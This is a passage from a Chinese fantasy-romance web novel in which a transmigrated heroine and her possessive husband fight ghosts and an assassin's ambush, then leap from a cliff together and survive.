谢玄淮一手改为搂住她的腰,身体站得笔直,任由着她的动作,吻到深处,柳凝雪咽了咽口水,下意识地伸出舌头,却不曾想,他早已张开了嘴,在等着她了。
舌尖相触的那一刻,柳凝雪猛地缩回,谢玄淮却迅速追来,不给她反应的机会,轻搅过她的舌尖,异样的触感让她退缩慌乱,忙咬合了牙齿,却听闷哼一声,谢玄淮的舌尖被她咬住了,痛得他眉尖轻微蹙起,她忙又松开了牙齿。
谢玄淮趁势搅弄红舌,翻云覆雨,左上右下片刻,柳凝雪气息微窒,喘.息声起,眼溢薄泪,谢玄淮紧追不舍,眼眸微阖。
正要沉沦欲念之时,两人耳边突然炸起一道声音,带着十分震惊,道:“你们!!!”
柳凝雪猛地睁开了眼睛,越过他朝他身后看去,却见林月明脸色震惊地看着他们,江若宁站在她身边,尴尬地轻咳了几声,转过身去。
林月明似也觉得非礼勿视,忙也转过了身。
柳凝雪伸手想要去推他,双手刚碰他胸前,就被谢玄淮一手抓住,他搂着她的腰,深吻了一下,才依依不舍地松开。
柳凝雪将脸埋在了谢玄淮怀里,耳朵飞速地涨红,心脏在砰砰砰地乱跳不止,她在心里不断催眠自己。
他们是夫妻,不过是亲个吻而已,没什么大不了的,没什么大不了的……
整理好心绪后,柳凝雪渐渐平静下来,她推开了谢玄淮,对对面背过身的两人道:“你们……过来吧,要走了。
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”
林月明闻言转过身,眼神飘忽却不敢往柳凝雪身上看,还没等柳凝雪说话,她就拉着江若宁两人一起坐进另一架马车里了。
柳凝雪:“……”
她只能和谢玄淮坐进了一辆马车里,没想到谢玄淮欲念难绝,和他独处一室无异于引狼入室。
柳凝雪刚坐下,他的手又伸过来拦住了她的腰,她双手忙压在他的手臂上,对他说:“不行……现在不可以。”
谢玄淮顿了一下,看着她的眼眸泛着水光,蕴藏着无尽的情.欲,犹如危险的深渊却又如此诱人。
他把她带到自己怀里坐着,双手紧紧搂着她,说不行他便真不吻了,只将脸埋在她脖颈处,静静坐着不动。
片刻后,她听见他闷闷地说:“凝雪,爱我。”
说着,他执起她的手搭在自己的后颈上,束起的发冠不知何时松了,他如墨的秀发松松垮垮地铺落在后颈处及脸侧耳边。
他这是想让自己摸他的头发吗?
柳凝雪思索了一会儿,下一刻便一下一下地柔摸起他的长发。
她另一只手的手腕被他的一只手紧紧拽着置于腿上,他的另一只手已经搂到了她的腰后。
他握着她的手慢慢往上放到心口前,低声说:“凝雪,我心可鉴,你也爱我,好吗?”
他声音带着微微沙哑,神情一改往常的淡漠无谓,痴情如醉。
“我……”柳凝雪唇瓣轻启,爱一字压在心口中说不出,她对他其实说不爱,只能说是喜欢。
“……我喜欢你。”她还是遵从了心意,对他说出了这一句话。
谢玄淮一怔,声音冷而不容置疑,道:“说爱我。”
他手下发力把她抱得更紧了,柳凝雪一手撑在他肩上,微微蹙着眉,唤他:“谢玄淮。”
他闻言又是一顿,说:“不要叫我谢玄淮好吗?”
他总觉得她是在透过他喊另一个人的名字,他又说:“你可以叫我敬王世子,郎君……亦或是谢郎。”
他想,柳凝雪应该是没叫过他谢郎的。
柳凝雪叹了口气,顺着他的话,喊了一声,“谢郎。”
“嗯……”谢玄淮满意地弯起了唇角。
马车车轮骨碌碌地向前,在夜色中行驶得极为稳当,林月明以手支着下颌,头看着窗外,一旁的江若宁掀着窗帘,让她看着。
不知道她还要看多久,江若宁感觉自己的手都要麻了,他问:“还要多久?我手都麻了。”
被他放到角落里的大鹅也跟着给主人鸣不平,林月明眼风扫过去,没什么表情地说:“那你放下吧。”
话是这么说,眼神却一直在注意着他。
江若宁自然不敢放下,斗了这么多年,他对她最清楚不过。
林月明脑海里乱乱的,一直在循环播放着之前谢玄淮和柳凝雪亲吻的画面,想到这,她脸上又是一红,其实活了这么多年,她连春.宫图都不曾看过一眼。
林月明看着外面发呆,忽然,远处似有什么在动,她皱眉紧盯过去,却见那里有大批大批的鬼在往这边来,由于数量太多,以至于远方好像有一片黑幕在动。
“不好!有鬼!”林月明惊叫起来。
江若宁正出神,被她喊得突然一惊,他忙弯腰低头顺着她的视线看去,果见一大片鬼物在朝他们袭来。
江若宁脸色一沉,迅速放下帘子,将林月明按回座上坐好,对她说:“坐好。”
59. 动情
林月明被他按着坐好,先是懵了一瞬,而后才反应过来,与江若宁一同拿上符纸法器,说:“坐什么好,你也没比我强到哪去。”
随即,两人又一同跳下了马车,大鹅在车里鹅鹅鹅地大叫,也紧跟着他们下了车。
大批大批的邪崇来袭,马车里的柳凝雪和谢玄淮也被惊动了,他把头从她肩上抬起来,束发的红带松开,顺着他的一头秀发滑下来,墨发如瀑在他肩上铺散开。
柳凝雪说:“外面好像出事了。”
好说着离了谢玄淮的怀抱,从马车上下来,入眼的便是江若宁,林月明和鬼怪缠斗的背影,旁边还有一只大鹅在使劲地拧着鬼身上的腐肉。
柳凝雪一惊,忙抽出符纸与两人一同应对,可这次的鬼怪来得莫名,数量又多,这么拖下去尽早把他们耗死。
就在这时,那些鬼怪脚下突然出现了一个布满血红咒纹的法阵,数道红咒纹围在它们周边,还没等它们反应过来,地下就探出一条锁链将它们的身体手脚紧紧缠住,拖着它们往地下沉。
在巨大的法阵作用下,它们的一切挣扎都显得徒劳无功,尖叫哭喊的声音刺破长空,犹如万鬼齐嚎,似要穿透人的耳膜,柳凝雪被声音刺得头痛,她忙双手捂住了耳朵,蹙眉闭眼,试图减少一下冲击。
这时,她手腕被人一拽,柳凝雪便毫无防备地落入一个结实的怀抱中,冰凉的手指覆上她的手背,尖嚎似被远远隔绝在外,脑袋里的冲击减少了许多,柳凝雪慢慢睁开眼睛,缓缓打量着四周。
原本还乌黑的一片鬼怪,现下已经被全部清除了,悬在空中充当阵眼的符纸落回谢玄淮手中,他抬手一挥,符纸便化飞烟消散。
柳凝雪从他怀里起来,惊讶地看着眼前的一切,虽然不是第一次见谢玄淮动用这个阵法了,但还是震惊不已。
想起上次他动用法阵的后遗症,柳凝雪立即看向他,担忧地问:“你没事吧?”
谢玄淮披散着头发,幽深的眸子低垂看着她,五指跟着抚上了她的脸颊,同时,一旁传来林月明的咳嗽声,说:“咳咳咳,那个,先等一下,这些鬼怪到底怎么回事。”
谢玄淮松开手,转身看向他们说:“我怎么知道。”
“欸,你!”林月明看了他们一眼,说:“现下我们不能在这里久留了,尽快回上京才是。”
说着,几人转身便要上马车,忽然,远处一道清脆的铃声传来,在空旷寂静的长夜里显得极为突兀。
柳凝雪觉得这个铃声极为熟悉,她蹙眉想了想,记忆窜上心头,她脸色一变,道:“不好,是招邪铃!”
之前在黄家村刘子闻用的就是此铃,只是听声音来看,这个铃铛明显要比刘子闻还要厉害上十几倍。
铃声阵阵响个不停,数只怨鬼从土里破出,一一包围着他们。
林月明皱眉道:“到底是谁想要置我们于死地?”
江若宁下意识脱口而出,说:“会不会是封家的人?”
柳凝雪道:“应该不可能。”
她觉得封余休不是这样的人,听她语气笃定,谢玄淮垂眸看了她一眼。
怨鬼齐齐向他们攻来,带着冲天的怨气,似要将他们置于死地,这些怨鬼比一般的鬼怪要难对付得多了。
四人同时用符纸应对,可架不住怨鬼数量众多,加上方才他们也被消耗了不少体力,现在只是在硬撑着了。
柳凝雪看着还云淡风轻对付着怨鬼的谢玄淮,心下做出一个决定,她冲他的背影喊了声,“谢玄淮!”
谢玄淮转过身来看她,措不及防迎来她的吻,他怔了一下,下一刻便一股血腥气涌入自己的喉头。
接着,他的瞳仁渐渐染上了血红色,脸上的眉眼往下一压,手中那把不常出鞘的剑,此刻被他骤然拔出,凝聚全身灵力朝怨鬼劈去。
此刻的他就好像不知疲倦的杀鬼机器,剑一出鞘便是杀,他攻势极其凶猛,招式毒辣骇人,十几个怨鬼齐上都没能挡下他几招。
谢玄淮边杀边以血布阵,阵法一动,众人耳边只听见“砰”的一声细响,铃铛被阵法震破跌落在地上。
铃铛一破,众鬼犹如失控了般,疯狂地向他们扑去,柳凝雪边对付着它们,边往一劝撤去,每每它们想要伤她时,不是被快速斩于剑下,就被她身上的玉佩术法所挡。
怨鬼来势如潮,林月明和江若宁被迫与他们冲散,柳凝雪退至谢玄淮身边,心知此地不宜久留,她牵过谢玄淮的手,对他说:“走。”
他们转身朝着树林里走去,怨鬼分开了两拨对付他们,数量一减少,便好对付多了,追着柳凝雪那拨怨鬼,很快就被她和谢玄淮联手消灭。
月上中天,树影婆娑,战斗过后的地面一地狼藉,堆满了尸体,周围虫鸣声阵阵,林中隐隐飘有薄薄白雾。
柳凝雪急促地喘.息着,心脏扑通扑通地急速跳动,仿佛要破膛而出,她抬手想擦去脸上的汗珠,却抹了一脸血,不知道什么时候她的手受伤了,手背划出几道深浅不一的口子,此时正往外流着鲜血。
她从无尽锦囊中取出药物把自己的手包扎好,再去看谢玄淮,他提着剑定定地站在原处,眼中红色渐渐退去,他眸色一动,抬眼望着周围,神色流露出了一些茫然。
“谢玄淮?”柳凝雪迟疑地喊了一声,她方才情急之下没和他商量就随意让他爆走,现在想来心里满是愧疚。
“你没事吧?”见他不动,她有些担忧地看着他的背影,随即上前几步,站到他身边。
她问道:“你怎么样了?有哪里受伤了吗?”
谢玄淮垂眸看着她,道:“没有。”
柳凝雪抿了抿唇,脸上带着歉意说:“对不起,刚才我没办法了,才会想到让你喝我的血。”
谢玄淮的眼眸定定地望着她,说:“无事,只要你想利用我可以尽情利用,我们本是夫妻,你让我做什么我便做什么。”
柳凝雪听完惊讶地睁大了双眼怔怔地看着他,总觉得他这份爱意有些沉重,她看了一眼他散落的长发,从锦囊取出一根红色的发带,对他说:“你的发带。”
望着那根发带,谢玄淮的眉梢轻挑了下,他抬手接过了,指尖触及她的掌心,感觉痒痒的。
柳凝雪迅速地收回了手,眼神四下乱瞟,她道:“既然没事了,那便赶紧走吧,林月明和江若宁说不定在找我们呢。”
话落,她便走在前头,不知道为什么她感觉谢玄淮看她眼神更深了,似是要将她吞吃殆尽,这种变化似乎就
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在一瞬间,让人摸不着头脑,也无迹可查,明明在马车里的时候,他眼里还带着几分清明幽深,并没有这么重的欲.念。
她有些害怕了,他的视线太过赤.裸灼热,让她感到些许不安,她没有经历过男女之事,也发自心底的抵触,有对未知的茫然,也有恐惧。
谢玄淮不紧不慢地跟在她的身后,他双手梳着长发,口中咬着发带,最后利落束起,从始至终,目光都在前面的少女背影上停留。
这里彻彻底底地只有他们两个人。
他心底探出一丝渴望,也不会试图去压制,因为他们是夫妻啊,做什么都很正常。
他抱着剑跟在她身后,目光沉沉,紧盯着她。
柳凝雪自然能感觉身后那道不以掩饰的视线,他看着她的时候,就像是在看自己的猎物。
她被他盯得心里发毛,内心焦急地问系统,“系统!快出来,我怎么感觉谢玄淮很不对劲?”
系统:……
它先是沉默了一阵,然后答:【他各项指标都没异样。】
柳凝雪还是觉得不对,“可我怎么感觉他看我的眼神越来越不对劲了?”
系统:【有什么不对劲。】
柳凝雪:“就是……越来越想……要我?”
她斟酌着说辞,这已经是她能想到的最雅观的说法了。
系统:……
系统:【他本就修炼邪术极多,你的血对身有邪气的人极具吸引力,前三次他或许还可以克制,这一次是你自己主动的。】
系统:【在明知他已经喜欢上你的情况下,你还主动去献血,嗯,他克制不了,也不想克制了。】
听到这里,柳凝雪已经完全明白了,她方才还在为自己的行为感到愧疚,现在看来,怎么都像是,她把自己给卖了啊,就这,她还向谢玄淮道歉!
柳凝雪感觉天都塌了,“你以前为什么不告诉我?!”
系统冷静地抛出一句,【你没问。】
靠!
柳凝雪一气之下,忍不住骂了系统一句,结果气急了,导致她没看清脚下的路,被石头绊到了,眼前着就要倒下去了,她腰间忽地横来一臂,紧紧地抱住了她。
那一刻,柳凝雪鼻尖满是身后人身上淡淡的香气,她忙站定了,从他怀中起开,慌张地答:“没……我没事。”
谢玄淮看着空空如也的手臂,握拳收回,一动不动地看着她,随即上前一步拉近两人的距离,柳凝雪忙往后退了一步,这一退后背就靠到了树上。
“你,你要做什么?”她有些不安地看他。
谢玄淮弯腰低下了头,一双墨玉般眸子望着她,幽幽道:“怎么?用完我就想丢?这深山老林的,只有我们两个,你猜我要做什么?柳凝雪,我可不是君子。”
沉静的眼眸直直地撞入她的眼帘,柳凝雪心中一跳,忙解释道:“我不是那个意思!我只是……我只是……害怕……”
她声音越来越小,头也越来越低,半晌,她头顶传来他情绪不明的嗓音,道:“柳凝雪,看着我。”
她眼神四下乱瞟,就是不敢抬头去看他,良久,他又道:“抬起头。”
他的语气不容置喙,柳凝雪还是鼓起了勇气去看他。
60. 解毒
抬起头的那一刻,映入眼帘的,是少年情绪复杂的双眸,或忧虑,或淡漠……眼中欲.念散去了不少。
柳凝雪本能地松了口气,又听他说:“嫁给我有什么不好的吗?”
柳凝雪很想说有很多不好的,可在他极具侵略性的目光下,他那张脸高冷傲慢,无所畏惧,似是世间一切对他来说不过尔尔,眉眼意气浓盛,带着十分的自信,好像这世上就没有他解决不了的问题。
面对着他,柳凝雪还是违心地说出了那句,“没有。”
她承认,她被他折服了,过了这么多年,她还是喜欢这种类型。
他语气轻轻,在她耳边飘荡,“那就爱我吧。”
柳凝雪的双眸瞬间抬起,在少年热切的目光下,她心中的抵触似在渐渐减少,他言语不似作假,情真意切,他的眼里满是她。
谢玄淮又道:“柳凝雪,是你主动的。”
“我承认,我爱上你了。”
柳凝雪怔愣地看着他,她清楚他口中的主动说的是什么,是她主动嫁过来的,也是她主动靠近他的,最后还是她主动献血的……
他冰凉的手轻轻地抚上她的侧脸,一字一句,无比认真地对她说:“别离开我,好吗?”
也别试图离开我,缠上我,我是你生生世世都离不开的人。
就算是死,我也会化作鬼魂留在你身边,怨魂不散。
柳凝雪启唇正想说什么,谢玄淮却俯身吻上了她的唇,将她的未尽之言堵回喉咙里。
他视线轻扫过她的面容,缓缓地闭上了眼睛。
他还欲再深入,但在换气时,柳凝雪迅速抬手挡进了他前进的吻,夜里的山风凉凉,吹醒了她,给她带回了理智,她说:“停,先出去再说。”
谢玄淮的神色滑过一丝失落,他望着她的眉眼,伸出舌尖轻抵了一下她的掌心,柳凝雪犹如闪电般撤回手,不敢置信地看着他。
“你。”变态。
林中夜色渐深,虫鸣声渐少,不知是不是柳凝雪的错觉,她感觉周身越来越冷了,而且林中原本薄薄的雾也变得厚重了,导致他们看不清眼前的路。
“我们是不是走错了?”柳凝雪疑惑道,“我们当时有走得那么深吗?”
“而且周围越来越冷了。”
柳凝雪说着,搓了搓胳膊,谢玄淮拽住她的手腕,另一只手点燃了符纸,对她说:“不要和我走散。”
柳凝雪点了点头,现在这个情况,她也不敢随便乱走。
符纸引路,所到之处,雾气都散开了,但符纸一过,雾气又都围聚了过来,柳凝雪紧紧跟在他身边,雾气在她周围环绕,吸进体内时,她顿感一阵胸闷。
她握紧了谢玄淮的手,说:“谢玄淮,这个雾有问题。”
谢玄淮面色沉沉的,“嗯。”
话刚落下,符纸上的亮光顷刻之间被吹灭,四周顿时陷入了一片黑暗当中,柳凝雪摸索着他的手和他十指相扣着。
这时,耳边突然传来“咻——”一声响,东西擦过柳凝雪的耳畔泛起丝丝凉意。
黑暗中,谢玄淮对她说:“我们应该是进入了雾沼森林。”
“雾沼森林?”柳凝雪拧眉道。
雾沼森林白日看着与普通森林无异,实则内里白雾横行,白雾常储存在树体中,到了傍晚就开始释放,随着时间的延长逐渐变浓,到深夜时森林就会彻底变成浓雾一片,直至凌晨又开始慢慢退散,到日中时又彻底消失。
这些非邪崇,符纸探不出,看起来与普通的白雾毫无区别,实则雾里带着巨毒,人吸入体内或沾到就会身中巨毒两日之内无解药就会毒发身亡。
柳凝雪心下不免害怕起来,她说:“那我们在这里待了这么久,吸入了这么多,该怎么办啊?”
且大雾挡住了前路,很难在短时间内出去,再者就算出去了也不一定能及时找到解药,这雾毒极为难解。
谢玄淮牵着她的手,将她带到一棵大树下,对她说:“在这等我。”
还没等柳凝雪问他要去做什么,谢玄淮已经在她周边布下阵法护住她,随后转身走了。
柳凝雪无奈,只好在原地坐下,看着他远去。
半夜白雾凝结的露水从叶上滑落,滴在柳凝雪的手背上,冻得她一个激灵,她正迷迷糊糊着,措不及防被露水一滴,脑袋里的瞌睡虫全没了。
她惊醒了过来,迷茫看着前方,阵法光茫如初,前方还没见人回来。
她无措地靠在树上,半瞌着眸,正胡思乱想着,忽见远处亮起一抹火光。
她忙凝神看去,就见谢玄淮举着点燃的符纸向她走了过来。
“谢玄淮!”她惊诧地喊了他一声,面上扬起一丝笑意,可等谢玄淮走近时,她却笑不出来了。
去时还干净整洁的面容,此时沾了不少鲜血,衣服上也沾满了混着血液的不知名绿色液体。
她眉尖蹙起,担忧地问:“你怎么回事?”
谢玄淮不答,他抬手将阵法解开,柳凝雪还想再问,可等她启唇时,突然一个冰凉黏腻的东西被塞进了自己嘴里,被塞入嘴里的那一刻,她甚至能感受到它在自己嘴里蠕动了一下。
她胃里不禁泛起一阵恶心,正想吐出去,不料,那东西却顺着她的喉口滑下去了。
“呕——”
柳凝雪掐着喉咙弯腰张嘴吐了半晌,除了吐出一些胃液外,什么都没有。
“你给我喂了什么?!”她忍住恶心皱眉看他。
谢玄淮淡声道:“解药。”
“解药?”柳凝雪怔了一下,听完他的解释,心里的不适减少了些,却还是忍不住恶心。
柳凝雪说:“所以你弄成这样是去找解药了吗?有没有伤到哪里?”
她说着就要上前用手给他擦去脸上的血,谢玄淮却拽住她的手腕止住了她,说:“我没事,血不是我的。”
话落,柳凝雪这才安心些许,谢玄淮对她说:“我找到出去的路了,随我走。”
柳凝雪点了点头,然后熟练地牵起他的手和他一起,谢玄淮扫了眼被她牵起的手,随即反握回去。
两人穿过重重的迷雾,走到了另一侧的森林里,这里没有浓雾,往回一看就能发现雾沼森林和此处似隔着一道透明墙,白雾在原处凝集形成一条分界线。
谢玄淮带着她来到这里,出了雾沼森林,柳凝雪感觉呼吸都顺畅了不少。
也不知道走了多久,柳凝雪感觉自己的腿都走麻了,谢玄淮道:“在这里休息吧。”
柳凝雪点了点头,正好她也不想再走了,她松开谢玄淮的手,来到大树下坐着,用手揉了揉发酸的腿。
谢玄淮去拾了一些柴火回来点燃,久违了火光再次亮起,柳凝雪舒了口气,总算是安全了。
期间,谢玄淮又出去了一趟确定周围安全,回来时手上多了些果子。
柳凝雪恰巧饿了,她接过谢玄淮递来的果子,道:“你从哪里找的。”
谢玄淮道:“特意找的。”
柳凝雪用衣袖擦了擦果子,放进嘴里咬了一口,甜酸甜酸的,还多汁。
谢玄淮在她身边坐了下来,看着他还沾着血的侧脸,柳凝雪从怀里取出了一块手帕递给他,道:“擦擦。”
谢玄淮接过了手帕,却没急着去擦脸,而是握着它置于鼻前轻嗅了下,手帕被她放在怀里,带了点温度,上面全是她身上的气息。
他将手帕放进怀里,随手抹了把脸上的血,柳凝雪吃着果子没过多去注意。
坐着休息了一会儿,被压下去的困意又泛了起来,柳凝雪的脑袋一点一点的,眼睛已经全部合上了,谢玄淮低头去看她,伸手揽过她头让她靠着自己的肩睡。
少女的乌发散发着清香的味道,谢玄淮侧眸望着她,目光一寸一寸地掠过她的肌肤,再慢慢地往下,在交叠的衣领处顿了下,才继续看下去。
喉咙渐渐变得干涩,他不禁吞咽了下,随后偏头将鼻尖抵在她发上,去轻嗅着她发上的香气,他节骨分明的五指抚上她的侧脸,轻轻地触碰着,生怕吵醒了她。
他吻着她的秀发,从喉咙里发出一把极,浅的低哼,双眸慢慢闭起,享受着她带着他的这片刻欢愉。
他知道现在的他是有多么丑陋,卑鄙无耻,他想让她全身上下都充满自己的气息,让她完完全全只属于自己一个人。
他细密又轻的吻从她发上落到她的额上,小腹紧绷的感受切切实实,他的掌心在她手臂上轻微蔓延,最后与她的手十指相扣。
柳凝雪睡得极沉,偶尔梦中感觉额尖痒痒的,让她不适地蹙起了眉,却又睁不开眼去看,索性也不去管他了,左右谢玄淮在自己身边也不会遇到什么危险。
谢玄淮看着她紧闭的双眼,心底升起一个恶意的念头,好想把她弄醒。
他极力去控制心中的欲.念,轻轻拉起她的手摸上自己的脸,再一点一点抓着她的手往下,落在他凸起的喉结上。
此时的他身体犹如一个火炉,少女的指尖冰凉凉的,很奇怪,明明往常他的手比她的还要凉。
谢玄淮克制着自己想要翻身的冲动,只是紧紧牵着她的手,他的手在她掌心越发滚烫。
……
柳凝雪醒来时已经天光大亮了,身边的人却不知去了哪里,正待她要起身去找时,谢玄淮就回来了。
他似乎没怎么睡,面容上染着几分倦意,他上前几步,牵过她的手,说:“我带去你洗漱。”
柳凝雪没有拒绝他,只是他牵着自己的手又冰又凉,她指尖不禁微曲了下。
不久后,他带着她来到了河边,河水清澈透明,在阳光下泛着粼粼光波,谢玄淮指着一旁大石头上放着的巨大叶子,说:“水在那里,我施法去了尘,干净的。”
柳凝雪没多想,在他灼人的目光下,走向那捧水,浅浅地洗漱起来。
正捧水洗着脸,腰上忽然环来一双手,柳凝雪愣了一下,就听谢玄淮低哑的嗓音问:“柳凝雪,我好难受啊……”
柳凝雪不解地问他:“怎么了?”
“是受伤了吗?”
说着,她忙转过身去检查他的身体,身上完好无损,没有一点伤痕的样子,甚至换了一身衣裳。
谢玄淮静静看着她的动作,眸色沉沉,柳凝雪更疑惑了,说:“也没有受伤啊,你哪里难受?”
下一刻,他却抓起了她的手轻轻摸上自己的脸,触及他滚烫的肌肤,柳凝雪下意识地想瑟缩回去,但被他紧紧抓住了手,按在他脸上。
“亲我。”他说。
“啊?”柳凝雪迟疑了下,不知道为什么他要提这种要求,但在他热切的目光下,还是踮起了脚,偏头正想亲在他脸颊上,措不及防迎来少年的一偏头,唇瓣便帖在了他的唇上。
柳凝雪慌乱地想退开,却被他一手拽住了手腕,一手揽住了腰,被迫迎接他急不可耐的吻。
他舌头探入,柳凝雪控制住咬他的冲动,任由他来去自如,直到最后她快要呼不上气了,他才把她放开。
柳凝雪急促地喘.息着,见他还要来,她慌忙道:“先出去!找人!找林月明他们,回上京。”
谢玄淮的唇瓣停在了近处,他睁开幽深的眸子看她,良久,他才妥协地应,“好。”
这片森林没有那些白雾,倒好走了许多,两人在林中行走着,在快要出去时,却听到不远处的树梢有鸟雀惊起。
柳凝雪和谢玄淮对视了一眼,各自都从对方的眼中看到了警惕,然而还没等他们查明情况,一支飞箭迎面破空而来,刺向了谢玄淮。
谢玄淮身形如鬼魅,疾速躲过,随即,眼前便见一人纵马而来,他手上还举着弓,见到二人才缓慢放下,他温和地笑说:“柳姑娘,好久不见。”
他虽是笑着,眼底却一片冰冷,看不到一点笑意,他嗓音柔和,气质儒雅,却令人无端感到一阵毛骨悚然。
明明长相如菩萨,却给人一种不近人情的感受,柳凝雪怔怔看着他,忘了反应,她口里念出一句,“李慕言。”
看到他,她心底就涌起一股无以言说的恐惧,他简直成了自己的心理阴影。
李慕言直接忽视她身边他谢玄淮,伸出手对她说:“过来,站到我身边。”
柳凝雪当然不可能过去,她往后退了一步,压下心中的惧意,问他:“你是怎么找到我们的?”
李慕言不紧不慢道:“钦天监,自有能追踪到你的办法。”
三句过后,她还没站到自己身边,李慕言扫了眼旁侧的谢玄淮,道:“杀。”
随即,数十名刺客从树上窜出,他们手上都拿着一把利剑,蒙面黑衣,杀气腾腾,谢玄淮眉眼沉沉地看着李慕言,勾唇冷笑一声,道:“钦天监监长,竟如此卑劣无耻,夺人爱妻,你当真是恶心。”
李慕言并不为他的话所动,在他眼里,除了自己都是不值得不提的蝼蚁,随手就可以碾死在脚下。
他们人势众多,谢玄淮手握着剑,长剑出鞘,锐势难挡,他拔剑往马上坐着的人刺去,李慕言静静地看着向自己刺来的剑,在即将碰到自己的那一刻,他一掌打在马上,一个旋转翻身跳下马,躲过了他的剑。
李慕言反身变出一把长剑刺出,直向他命脉,柳凝雪在一旁看得心一惊,喊道:“谢玄淮!小心!”
同时,谢玄淮回身以剑作挡,两剑相抵,擦出星点火花,一旁的黑衣人也向柳凝雪抓去,她身无武功,他们又形成了一个包围圈,根本逃不出去。
她从无尽锦囊里摸索出两颗棋子,在他们更靠近一步时,迅速掷出棋子困住了几人,她修为不高,运用棋术范围有限,只能困住几人,那些刺客见她会术法,往旁边撤了一步,柳凝雪寻着这档口狂奔出去。
黑衣人反应过来向她追去,两条腿远跑不过会轻功的,但在他们即将碰到她时,一把长剑横入,将一人的手齐齐斩断。
谢玄淮已跟上了柳凝雪,他伸手搂住她的腰,运轻功离去。
李慕言见状,收了手中的剑去追他们,后面的人穷追不舍,谢玄淮和柳凝雪只能一路奔走。
然而,天有不测风云,人有旦夕祸福,他们一路过来,竟到了一处悬崖前。
崖下的奔涌的河水,离涯顶近百千米。
谢玄淮止住了脚步,不防身后又一道利箭刺来,他拦着柳凝雪往一旁躲,就在这短短时间内,刺客又包围了过来,断了他的前路,也绝了他们跳崖的可能。
李慕言将三支箭齐齐搭在弓上,对准了谢玄淮,“咻——”
三箭齐发,与此同时,黑衣人提剑向谢玄淮刺去,谢玄淮绕着柳凝雪身侧围着她打,不让他人碰到她一丝一毫。
柳凝雪则摸着无尽锦囊,将一切能对付他们的工具都用上了,大多效果甚微。
李慕言再次射出一箭,慌乱之下,柳凝雪挡在了谢玄淮身前,千钧一发之际,谢玄淮拦腰抱过她,长箭直直刺入他的臂膀,激起一道血花。
“谢玄淮!”柳凝雪又惊又惧,眼里不禁泛起了泪光,谢玄淮将刺入自己臂膀的羽箭拔出,对她说:“我没事。”
柳凝雪知道他是在安慰她,刺客源源不断向他们袭来,好像杀不尽一样,李慕言提剑上前,招招攻势狠厉,最后强行将两人分开。
随后便有人上前抓拿她,李慕言冷着眉眼对付着他,剑与阵法两相制压下,谢玄淮被重伤,噗地吐出一口血,李慕言紧跟着一剑洞穿他的肩膀。
谢玄淮咬着牙,一手紧紧握着剑刃,止住它还欲往前的攻势,柳凝雪见此,心上宛如被人拿刀狠狠剜了一下,痛得她泪如雨下,失声说不出一句话。
而下一秒,李慕言的左手就拿着一枚玉佩举在她面前,青绿的佩玉在半空晃荡,柳凝雪几乎是嘶吼般喊出,“这是我的玉佩!!!”
泪水在她脸侧飞扬,她想挣扎着逃脱,却被人按得死死的,难以动弹。
她对这枚玉佩始终带着一种特殊的感情,更何况玉佩与自己的命相连,她不能没有玉佩,如果失去了玉佩,那一切都终将失去意义。
“我的玉佩!!!我跟你走!我跟你走!!!”
滑过脸侧的泪水混杂着滔天的恨意与怒气,在无数个夜晚里,处在陌生的环境中,她只能通过玉佩来聊以慰藉,冲淡对故乡的思念。
在这里没有一个人懂她,没有人知道她真正的来处,只有这枚玉佩,自她幼时起便一直陪伴着她,玉佩和她早已不能割舍。
谢玄淮握剑的手越发紧致,锐利的剑面镶入他的掌心,鲜血潺潺地往下流动,可这股疼痛都没有心底的那股痛来得更为刺人,为什么会这么痛,明明剑没有刺穿他的心脏,可却与此无异。
身陷囹圄时,她没有妥协,处于死亡边缘她也妥协,可见到玉佩的时候,她却妥协了。
在她心里,永远都只有玉佩。
他从始至
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终都是个笑话吗?
他忽然低低地笑了起来,冷声道:“柳凝雪,你要跟他走?妄想!”
他咬牙重重地说出最后两个字,话落,他开始低声且快速地念着一串咒语,李慕言听着皱了下眉头,等他反应过来时,一切都来不及了。
他隔空一掌打在他身上,震得他飞出几米开外,李慕言手持着剑勉力维持身形,体内肺腑犹如被震碎了般,他艰难地捂着胸口,紧抿着唇,却还是让唇角流溢出一道血迹。
谢玄淮以身为引,短时间内获取了一股极其强大的力量,他想要和他们同归于尽,李慕言看着越发癫疯的他,内心道了句,疯子。
所有人都被他突然迸发的强大力量给震憾到了,他手握着剑,直向李慕言命门刺去,速度之快,让李慕言也差点没反应过来。
他夺过他手中的玉佩,李慕言将剑抛开,快速结印,祭出钦天监至强法阵,夺灵阵。
然而谢玄淮却没有和他硬碰硬,他夺了玉佩后,反身朝柳凝雪而去,先是杀了钳制她的两人,随后拽过她的手腕,冷笑着对她说:“柳凝雪,这辈子,下辈子,下下辈子,生生世世,你都不可能离开我,也别试图离开我。”
柳凝雪还在惊愕之中没有反应过来,下一刻,他却拽着自己往悬崖而去。
柳凝雪一慌,喊道:“你要做什么?!”
谢玄淮道:“就算是死,我也要和你在一起!”
柳凝雪大喊,说:“谢玄淮!你疯了?!!”
话音一落,谢玄淮也拽着柳凝雪同时跳下悬崖,这悬崖百千米高,从这里跳下去,几乎无人能够存活。
两人的身体急速地往下坠着,他紧紧抱着她不松开,柳凝雪趴在他怀里,耳边全是风的呼啸声,他身上的血喷出洒在她洁白的脸上,夹杂着泪迎风而散。
“扑通——”
两人双双坠入河中,激起一阵巨大的水花,河水凶猛地灌入她的耳鼻口,她憋着一口气,可最终还是抵挡不住涌来的水。
她感觉到自己的身体在往下沉,她双手胡乱挣扎,就在这时,一只手猛地窜来,抓住了她的手,将她往上带,她被谢玄淮抱进怀里,紧接着一片柔软便堵在了她的唇上。
她挣扎了几下,却被谢玄淮抱得紧紧的,他水里施了一个咒,柳凝雪忽然感觉呼吸流畅了许多。
他将她松开,指尖描绘着她眉眼,说了一句什么,柳凝雪没听清,大概又是不许离开他之类的。
顺着河流,他们被冲到了岸边,柳凝雪艰难地爬起身来,双手撑着地面,剧烈地咳嗽着,她眼圈都咳得泛红才停下。
她转头去寻谢玄淮的身影,却发现他早已晕倒在一旁。
天色将黑,他们不能留在这河边,且谢玄淮身上的伤急需治疗。
柳凝雪很快就在周边找到了一个山洞,里面还放着一些陈旧布满灰尘的鱼竿,这大概是以前铺鱼人留下的,不过看洞内积灰的程度,应该很久没人来了。
柳凝雪粗粗打理了一番,便将谢玄淮拖进洞里躺着,洞里有张石床,只是她没力气搬动谢玄淮了。
她低头看了眼自己的腰间,还好无尽锦囊没有丢,她从里面取出伤药给谢玄淮上药包扎,又给他喂了一颗药丸,处理好一切后,她才有空歇口气。
夜色很快来临,柳凝雪从外面捡回一些干柴点燃,便在一旁坐了下来。
四五月的天已经逐渐变得炎热,身上原本湿漉漉的衣服也干了。
